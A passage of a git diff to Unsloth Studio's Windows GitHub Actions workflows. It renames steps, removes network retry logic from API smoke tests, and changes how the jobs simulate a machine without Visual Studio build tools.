yields nothing, a hard call - # re-raises while a soft call (the best-effort - # server-side tool probes) returns None so the caller - # can WARN instead of sinking the whole job. - # HTTP status errors always surface immediately. + def post_sse(path, body, *, timeout = 600): body = {**body, "stream": True} data = json.dumps(body).encode() req = urllib.request.Request( @@ -705,43 +671,24 @@ jobs: "Content-Type": "application/json", }, ) - for attempt in range(retries + 1): - parts = [] - t = timeout if attempt == 0 else min(timeout, 300) - try: - with urllib.request.urlopen(req, timeout = t) as resp: - for raw in resp: - line = raw.decode().strip() - if not line.startswith("data: "): - continue - payload = line[6:] - if payload == "[DONE]": - break - try: - chunk = json.loads(payload) - except json.JSONDecodeError: - continue - for choice in chunk.get("choices", []): - delta = choice.get("delta", {}) or {} - if delta.get("content"): - parts.append(delta["content"]) - return "".join(parts) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - # Text already streamed is a valid signal -- keep it - # rather than re-running a heavy generation. - if parts: - joined = "".join(parts) - print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True) - return joined - if attempt == retries: - if soft: - print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True) - return None - raise - print(f"[retry-sse] {path}: {exc!r}", flush = True) - time.sleep(15) + parts = [] + with urllib.request.urlopen(req, timeout = timeout) as resp: + for raw in resp: + line = raw.decode().strip() + if not line.startswith("data: "): + continue + payload = line[6:] + if payload == "[DONE]": + break + try: + chunk = json.loads(payload) + except json.JSONDecodeError: + continue + for choice in chunk.get("choices", []): + delta = choice.get("delta", {}) or {} + if delta.get("content"): + parts.append(delta["content"]) + return "".join(parts) # ── 1. Standard OpenAI function calling ────────────────────── weather_tool = { @@ -784,24 +731,16 @@ jobs: ) # ── 2. Server-side python tool ─────────────────────────────── - # Bound each soft probe to a single 180s attempt (timeout=180, - # retries=0): this job runs two of them back-to-back under a - # 30-minute cap, so the default 600+15+300s per stall could hit - # the workflow timeout before the thinking checks run. A soft - # probe only WARNs anyway, so a retry buys nothing. content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}], "enable_tools": True, - "permission_mode": "full", "enabled_tools": ["python"], "session_id": "ci-tool-calling-py", "temperature": TEMP, "seed": SEED, "max_tokens": 600, - }, timeout = 180, retries = 0, soft = True) - if content is None: - print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking") - elif "56088" in content or "56,088" in content: + }) + if "56088" in content or "56,088" in content: print(f"[tools] PASS python tool ({len(content)} chars, found 56088)") else: assert content, "python tool: SSE stream empty" @@ -818,16 +757,13 @@ jobs: content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Use the terminal tool to run `echo hello-bash-tool` and tell me the exact output."}], "enable_tools": True, - "permission_mode": "full", "enabled_tools": ["terminal"], "session_id": "ci-tool-calling-bash", "temperature": TEMP, "seed": SEED, "max_tokens": 600, - }, timeout = 180, retries = 0, soft = True) - if content is None: - print("[tools] WARN terminal tool: SSE transport stalled after retries -- non-blocking") - elif "hello-bash-tool" in content: + }) + if "hello-bash-tool" in content: print(f"[tools] PASS terminal tool ({len(content)} chars)") else: assert content, "terminal tool: SSE stream empty" @@ -843,13 +779,12 @@ jobs: content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}], "enable_tools": True, - "permission_mode": "full", "enabled_tools": ["web_search"], "session_id": "ci-tool-calling-web", "temperature": TEMP, "seed": SEED, "max_tokens": 400, - }, timeout = 180, retries = 0) + }) print(f"[tools] PASS web_search stream ({len(content)} chars)") except Exception as exc: print(f"[tools] WARN web_search probe failed (non-blocking): {exc}") @@ -883,15 +818,15 @@ jobs: print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)") PY - - name: Stop Unsloth + - name: Stop Studio if: always() # Run as cmd so we are not running through the Git Bash shell; # Git Bash on windows-latest has been observed to exit 143 # (SIGTERM) from any inline kill/sleep block, masking a green - # test run. The runner reclaims the Unsloth child process at + # test run. The runner reclaims the Studio child process at # job end either way, so just emit a marker and exit 0. shell: cmd - run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -899,10 +834,10 @@ jobs: # copy must not fail an otherwise-green job. continue-on-error: true shell: bash - # Copy llama-server's own stdout/stderr (teed by Unsloth under + # Copy llama-server's own stdout/stderr (teed by Studio under # ~/.unsloth/studio/logs/llama-server/) into the workspace so # upload-artifact can pick it up. Crucial for diagnosing a - # subprocess crash where Unsloth's traceback only shows the + # subprocess crash where Studio's traceback only shows the # symptom (httpx ReadError) but not the cause. run: | mkdir -p logs/llama-server @@ -940,7 +875,7 @@ jobs: STUDIO_PORT: '18899' HF_HOME: ${{ github.workspace }}/hf-cache # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Unsloth CLI print "✓" checkmarks and crash + # download / Studio CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -1006,7 +941,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Unsloth boots with an empty dist directory. + # rebuild" and Studio boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -1022,7 +957,7 @@ jobs: } } - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} @@ -1060,7 +995,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -1073,9 +1008,9 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: python -m pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -1128,8 +1063,6 @@ jobs: import base64 import json import os - import time - import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -1149,24 +1082,8 @@ jobs: "Content-Type": "application/json", }, ) - # Shared CI runners stall sporadically, so retry transport-level - # failures only; HTTP status errors surface immediately. Bounded - # to fit the job's timeout-minutes: short probes get 3 full - # attempts, long probes one retry capped at 300s (a healthy - # server answers a retry quickly; a stalled one never does). - attempts = 3 if timeout <= 300 else 2 - for attempt in range(attempts): - try: - t = timeout if attempt == 0 else min(timeout, 300) - with urllib.request.urlopen(req, timeout = t) as resp: - return resp.status, json.loads(resp.read().decode()) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - if attempt == attempts - 1: - raise - print(f"[retry] {path}: {exc!r}", flush = True) - time.sleep(15) + with urllib.request.urlopen(req, timeout = timeout) as resp: + return resp.status, json.loads(resp.read().decode()) # ── 1. response_format = json_object (JSON mode) ───────────── status, data = post("/v1/chat/completions", { @@ -1263,7 +1180,7 @@ jobs: except Exception as exc: print( f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: " - f"{exc}. Unsloth successfully forwarded the request; failure here is " + f"{exc}. Studio successfully forwarded the request; failure here is " f"upstream llama.cpp vision behaviour." ) @@ -1304,19 +1221,19 @@ jobs: print( f"[image/anthropic] WARN anthropic image SDK call raised: " f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp vision " - f"behaviour, NOT an Unsloth regression." + f"behaviour, NOT a Studio regression." ) PY - - name: Stop Unsloth + - name: Stop Studio if: always() # Run as cmd so we are not running through the Git Bash shell; # Git Bash on windows-latest has been observed to exit 143 # (SIGTERM) from any inline kill/sleep block, masking a green - # test run. The runner reclaims the Unsloth child process at + # test run. The runner reclaims the Studio child process at # job end either way, so just emit a marker and exit 0. shell: cmd - run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -1324,10 +1241,10 @@ jobs: # copy must not fail an otherwise-green job. continue-on-error: true shell: bash - # Copy llama-server's own stdout/stderr (teed by Unsloth under + # Copy llama-server's own stdout/stderr (teed by Studio under # ~/.unsloth/studio/logs/llama-server/) into the workspace so # upload-artifact can pick it up. Crucial for diagnosing a - # subprocess crash where Unsloth's traceback only shows the + # subprocess crash where Studio's traceback only shows the # symptom (httpx ReadError) but not the cause. run: | mkdir -p logs/llama-server @@ -1349,7 +1266,7 @@ jobs: # ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ── no-vs-cpu: - name: Unsloth install + inference without Visual Studio + name: Studio install + inference without Visual Studio runs-on: windows-latest timeout-minutes: 35 defaults: @@ -1417,75 +1334,42 @@ jobs: try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { } } - - name: Prepare no-build-tools simulation + - name: Hide Visual Studio + CMake (simulate a host with no build tools) shell: pwsh run: | $ErrorActionPreference = 'Stop' - $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' - $pf = Join-Path $root 'ProgramFiles' - $pfx86 = Join-Path $root 'ProgramFilesx86' - New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null - - $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase) - foreach ($tool in @('cmake', 'cl.exe')) { - foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) { - if ($cmd.Source) { - $dir = Split-Path -Parent $cmd.Source - if ($dir) { - [void] $blocked.Add( - [Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\')) - } - } + # A Program Files dir can hold a transient handle (Defender / MSBuild node) + # so Rename-Item intermittently fails with "Access is denied"; retry to ride it out. + function Rename-WithRetry($Path, $NewName) { + for ($i = 1; $i -le 6; $i++) { + try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return } + catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 } } } - # Normalized comparison so registry spellings (trailing slash, - # unexpanded %VAR%) still match. - function Test-Blocked([string]$p) { - $n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\') - return $blocked.Contains($n) + # Rename the Visual Studio install roots (incl. the Installer that holds + # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss. + foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) { + if (Test-Path -LiteralPath $d) { + Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff') + Write-Host "Hid VS: $d" + } } - - $pathParts = $env:Path -split [IO.Path]::PathSeparator | - Where-Object { $_ -and -not (Test-Blocked $_) } - $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator - - # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment - # rebuild the session Path from these scopes mid-install, so filter - # them too. Originals are saved for the cleanup step. - foreach ($scope in @('Machine', 'User')) { - $orig = [Environment]::GetEnvironmentVariable('Path', $scope) - if (-not $orig) { continue } - Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline - $kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';' - [Environment]::SetEnvironmentVariable('Path', $kept, $scope) - Write-Host "Filtered $scope Path scope." - } - - "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 - "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 - "NO_BUILD_TOOLS_PATH<&1 | Tee-Object -FilePath logs/install.log @@ -1539,15 +1419,15 @@ jobs: echo "Prebuilt installed with no build tools:" cat "$INFO" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin [ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; } cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -1600,24 +1480,24 @@ jobs: [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; } echo "Inference OK without Visual Studio: $CONTENT" - - name: Clean no-build-tools simulation + - name: Restore Visual Studio + CMake if: always() shell: pwsh run: | - $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' - foreach ($scope in @('Machine', 'User')) { - $saved = Join-Path $root "orig-path-$scope.txt" - if (Test-Path -LiteralPath $saved) { - [Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope) - Write-Host "Restored $scope Path scope." + foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) { + $off = "$d.vsoff" + if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" } + } + if ($env:HIDDEN_CMAKE) { + foreach ($src in ($env:HIDDEN_CMAKE -split '\|')) { + if ($src -and (Test-Path -LiteralPath "$src.off")) { Rename-Item -LiteralPath "$src.off" -NewName (Split-Path $src -Leaf) } } } - Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue - - name: Stop Unsloth + - name: Stop Studio if: always() shell: cmd - run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -1660,34 +1540,21 @@ jobs: with: python-version: '3.12' - - name: Prepare no-build-tools simulation + - name: Hide Visual Studio shell: pwsh run: | $ErrorActionPreference = 'Stop' - $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' - $pf = Join-Path $root 'ProgramFiles' - $pfx86 = Join-Path $root 'ProgramFilesx86' - New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null - - $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase) - foreach ($tool in @('cmake', 'cl.exe')) { - foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) { - if ($cmd.Source) { - $dir = Split-Path -Parent $cmd.Source - if ($dir) { [void] $blocked.Add($dir) } - } + # Retry the rename: a Program Files dir can hold a transient handle that + # makes Rename-Item intermittently fail with "Access is denied". + function Rename-WithRetry($Path, $NewName) { + for ($i = 1; $i -le 6; $i++) { + try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return } + catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 } } } - - $pathParts = $env:Path -split [IO.Path]::PathSeparator | - Where-Object { $_ -and -not $blocked.Contains($_) } - $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator - - "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 - "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 - "NO_BUILD_TOOLS_PATH< resolve.json - if ($LASTEXITCODE -ne 0) { - Write-Host "::error::resolver exited non-zero" - if (Test-Path resolve.json) { Get-Content resolve.json } - exit 1 - } - Get-Content resolve.json - Write-Host "Prebuilt resolver ran with no Visual Studio present." + python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > /tmp/resolve.json || { + echo "::error::resolver exited non-zero"; cat /tmp/resolve.json || true; exit 1; } + cat /tmp/resolve.json + echo "Prebuilt resolver ran with no Visual Studio present." - - name: Clean no-build-tools simulation + - name: Restore Visual Studio if: always() shell: pwsh run: | - Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue + foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) { + $off = "$d.vsoff" + if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" } + } # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ── pester: @@ -1752,13 +1610,6 @@ jobs: - name: Install Pester v5 shell: pwsh run: | - # PSGallery is intermittently absent from the repository list on GitHub's Windows - # runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the - # name 'PSGallery' was found." Re-register the default gallery first so the policy - # change and module install below always have a repository to target. - if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) { - Register-PSRepository -Default -ErrorAction SilentlyContinue - } Set-PSRepository PSGallery -InstallationPolicy Trusted Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser Import-Module Pester -MinimumVersion 5.5.0 @@ -1889,11 +1740,8 @@ jobs: # (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi). $script:StudioVtOk = $false $script:UnslothVerbose = $false - # Get-HostMachineArch is reached only on the absent path, where - # Test-VCRedistInstalled consults it before trusting the System32 DLL, so - # part A passes without it and only the clean-box part fails. foreach ($fn in @('Get-StudioAnsi', 'Write-StudioStdoutMirror', 'step', 'substep', - 'Invoke-SetupCommand', 'Refresh-Environment', 'Get-HostMachineArch', + 'Invoke-SetupCommand', 'Refresh-Environment', 'Test-VCRedistInstalled', 'Ensure-VCRedist')) { $src = Get-FunctionSource -Path $setup -Name $fn if (-not $src) { throw "Function '$fn' not found in setup.ps1" } diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml index d23cca323f..405309916a 100644 --- a/.github/workflows/studio-windows-ui-smoke.yml +++ b/.github/workflows/studio-windows-ui-smoke.yml @@ -4,11 +4,11 @@ # Windows counterpart to studio-ui-smoke.yml / studio-mac-ui-smoke.yml. # Same Playwright + Chromium end-to-end chat UI flow + extra UI flow, # but on the FREE windows-latest runner so we catch Windows-specific -# regressions in the install path (install.ps1), the Unsloth CLI's +# regressions in the install path (install.ps1), the Studio CLI's # Windows process-management branches, and the llama.cpp prebuilt's # Windows HTTP layer. -name: Windows Unsloth UI CI +name: Windows Studio UI CI on: pull_request: @@ -19,7 +19,6 @@ on: - 'install.ps1' - 'pyproject.toml' - 'tests/studio/**' - - '.github/scripts/run-studio-permission-browser.sh' - '.github/workflows/studio-windows-ui-smoke.yml' push: branches: [main, pip] @@ -50,7 +49,7 @@ jobs: GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf STUDIO_PORT: '18896' HF_HOME: ${{ github.workspace }}/hf-cache - # Force UTF-8 for stdio so Python tools (hf download, Unsloth + # Force UTF-8 for stdio so Python tools (hf download, Studio # CLI, etc.) can print Unicode characters like the success # checkmark "✓". Windows defaults to cp1252 / charmap and # any tool that prints "OK ✓" hits a UnicodeEncodeError. @@ -122,7 +121,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Unsloth boots with an empty dist directory. + # rebuild" and Studio boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -149,7 +148,7 @@ jobs: Set-Content -LiteralPath (Join-Path $appDir 'launch-studio.vbs') -Value 'WScript.Echo "legacy"' -Encoding Unicode Write-Host "seeded legacy launch-studio.vbs at $appDir" - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) # install.ps1 is the supported Windows installer. install.sh # has no Windows branch (apt-get / brew calls). The PS1 # script's `Install-UnslothStudio @args` line at the bottom @@ -206,7 +205,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Assert Unsloth launcher chain (no VBS, hidden PowerShell shortcut) + - name: Assert Studio launcher chain (no VBS, hidden PowerShell shortcut) # The shortcut launch path is otherwise untested here (the steps below # boot `unsloth studio` directly). Guard against re-introducing the VBS # that tripped Kaspersky HEUR:Trojan.VBS.Agent.gen and against the .lnk @@ -235,7 +234,7 @@ jobs: } Write-Host "launcher chain OK (no VBS; hidden powershell over launch-studio.ps1)" - - name: Launch Unsloth via the shortcut and assert health + - name: Launch Studio via the shortcut and assert health # Run the exact command the .lnk stores (hidden PowerShell over # launch-studio.ps1) and confirm it brings the backend up. This is the # only step that proves the shortcut launch is not silently broken. @@ -266,10 +265,10 @@ jobs: $owner = (Get-NetTCPConnection -LocalPort $foundPort -State Listen -ErrorAction Stop | Select-Object -First 1).OwningProcess if ($owner) { taskkill /PID $owner /T /F 2>$null | Out-Null } } catch {} - if (-not $foundPort) { throw "Unsloth did not become healthy when launched via the shortcut" } - Write-Host "Unsloth healthy on port $foundPort (launched via the shortcut)" + if (-not $foundPort) { throw "Studio did not become healthy when launched via the shortcut" } + Write-Host "Studio healthy on port $foundPort (launched via the shortcut)" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH # install.ps1 puts unsloth.exe at $StudioHome\bin\unsloth.exe # and adds that dir to the User PATH via the Windows registry. # Registry-level PATH updates don't propagate to a running @@ -285,7 +284,7 @@ jobs: fi # GITHUB_PATH wants Windows-style paths; convert via cygpath. cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" - echo "Added Unsloth shim dir to PATH: $(cygpath -w "$SHIM_DIR")" + echo "Added Studio shim dir to PATH: $(cygpath -w "$SHIM_DIR")" - name: Install Playwright + Chromium # No --with-deps on Windows: that flag installs Linux apt @@ -295,10 +294,9 @@ jobs: python -m pip install 'playwright>=1.45' python -m playwright install chromium - - name: Reset auth + boot Unsloth + - name: Reset auth + boot Studio run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -341,19 +339,15 @@ jobs: mkdir -p logs/playwright python tests/studio/playwright_chat_ui.py - - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders) + - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders) if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - - name: Edge permission controls + - name: Reset auth + boot Studio for extra UI tests (port 18897) run: | - bash .github/scripts/run-studio-permission-browser.sh 18895 chromium msedge - - - name: Reset auth + boot Unsloth for extra UI tests (port 18897) - run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \ > logs/studio_extra.log 2>&1 & @@ -378,7 +372,7 @@ jobs: echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV" echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV" - - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright + - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright env: BASE_URL: http://127.0.0.1:18897 STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }} @@ -392,7 +386,7 @@ jobs: mkdir -p logs/playwright_extra python tests/studio/playwright_extra_ui.py - - name: Stop second Unsloth + - name: Stop second Studio if: always() run: | kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true @@ -408,7 +402,5 @@ jobs: logs/studio_extra.log logs/install.log logs/playwright - logs/playwright-permissions-* logs/playwright_extra - logs/studio-permissions-*.log retention-days: 7 diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml index 0dcc828e6b..888b3d70a3 100644 --- a/.github/workflows/studio-windows-update-smoke.yml +++ b/.github/workflows/studio-windows-update-smoke.yml @@ -5,19 +5,19 @@ # studio-mac-update-smoke.yml. Verifies that on the FREE # windows-latest runner: # -# 1. install.ps1 --local --no-torch installs Unsloth AND auto-fetches -# the prebuilt llama.cpp Windows binary (app--windows-x64-cpu -# from unslothai/llama.cpp). Hitting the source-build fallback is -# treated as an Unsloth bug -- Unsloth must always pick the +# 1. install.ps1 --local --no-torch installs Studio AND auto-fetches +# the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu- +# x64 from ggml-org/llama.cpp). Hitting the source-build fallback +# is treated as an Unsloth bug -- Studio must always pick the # prebuilt on Windows. # 2. unsloth studio update --local is idempotent. Two consecutive # runs both report "prebuilt up to date and validated", no # source-build fallback. The CLI's _find_setup_script picks # setup.ps1 on Windows automatically. -# 3. The installed Unsloth still boots and /api/health returns +# 3. The installed Studio still boots and /api/health returns # healthy after the update path. -name: Windows Unsloth Update CI +name: Windows Studio Update CI on: pull_request: @@ -45,7 +45,7 @@ permissions: jobs: update-idempotency: - name: Unsloth Updating Tests + name: Studio Updating Tests runs-on: windows-latest timeout-minutes: 30 defaults: @@ -53,7 +53,7 @@ jobs: shell: bash env: # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Unsloth CLI print "✓" checkmarks and crash + # download / Studio CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -90,7 +90,7 @@ jobs: # reuses the existing Node with no download. # # (2) Defender. windows-latest's real-time scan opens / hashes - # every file Unsloth writes during install (Vite output = + # every file Studio writes during install (Vite output = # thousands of small chunks, uv pip = wheel-extraction = # thousands of small files). The latency dominates the # 200 s frontend build and the 90 s deps install. Adding @@ -109,7 +109,7 @@ jobs: # setup.ps1 line 1281-1296's mtime-based "is the frontend # stale?" check into "up to date, skip rebuild", because the # newly-created dist's mtime is younger than every source - # file. Unsloth then boots with an empty dist and 500s on + # file. Studio then boots with an empty dist and 500s on # GET / with FileNotFoundError: dist\index.html. See run # 25546676715 / job 74984469728. # Add-MpPreference accepts paths that do not yet exist; the @@ -129,7 +129,7 @@ jobs: } } - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} @@ -168,7 +168,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -198,31 +198,6 @@ jobs: fi echo "update path took the prebuilt fast path" - - name: Update must keep the --no-torch install GGUF-only - run: | - # `unsloth studio update` exports no UNSLOTH_NO_TORCH, so setup.ps1 has - # to recover the mode from the install manifest. Without that it reads - # the missing torch as a stale venv and tries to delete the venv it is - # running out of, and the shared dependency pass pulls torch back in. - # The skip line only prints when the dependency pass actually runs, so - # don't demand it if the fast path short-circuited that pass. - if grep -q "running ordered dependency installation" logs/update.log \ - && ! grep -q "skipping direct PyTorch and Triton installation (no-torch mode)" logs/update.log; then - echo "::error::studio update left no-torch mode; it would reinstall PyTorch." - grep -iE "no-torch|stale venv|PyTorch" logs/update.log | tail -40 - exit 1 - fi - PY="$HOME/.unsloth/studio/unsloth_studio/Scripts/python.exe" - if [ ! -f "$PY" ]; then - echo "::error::studio venv interpreter missing at $PY" - exit 1 - fi - if "$PY" -c "import torch" 2>/dev/null; then - echo "::error::torch was reinstalled into the --no-torch venv." - exit 1 - fi - echo "update preserved no-torch mode" - - name: Second update must also be a no-op env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} @@ -237,7 +212,7 @@ jobs: grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log echo "second update was clean" - - name: Boot Unsloth briefly to confirm the install is still usable + - name: Boot Studio briefly to confirm the install is still usable run: | mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \ @@ -264,13 +239,13 @@ jobs: sleep 1 done if [ -z "$HEALTHY" ]; then - echo "Unsloth failed to come up after \`update\`" + echo "Studio failed to come up after \`update\`" tail -200 logs/studio.log kill "$PID" 2>/dev/null || true exit 1 fi kill "$PID" 2>/dev/null || true - echo "post-update Unsloth /api/health OK" + echo "post-update Studio /api/health OK" - name: Uninstall and verify clean # Round-trip through scripts/uninstall.ps1 against the default diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml index 6becccc90a..599b53df1d 100644 --- a/.github/workflows/version-compat-ci.yml +++ b/.github/workflows/version-compat-ci.yml @@ -242,7 +242,7 @@ jobs: run: | python -m pip install --upgrade pip # CPU torch (vllm/peft/st all depend on it). - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + pip install --index-url https://download.pytorch.org/whl/cpu \ 'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10' # torchcodec is a hard requirement on transformers 5.x: # 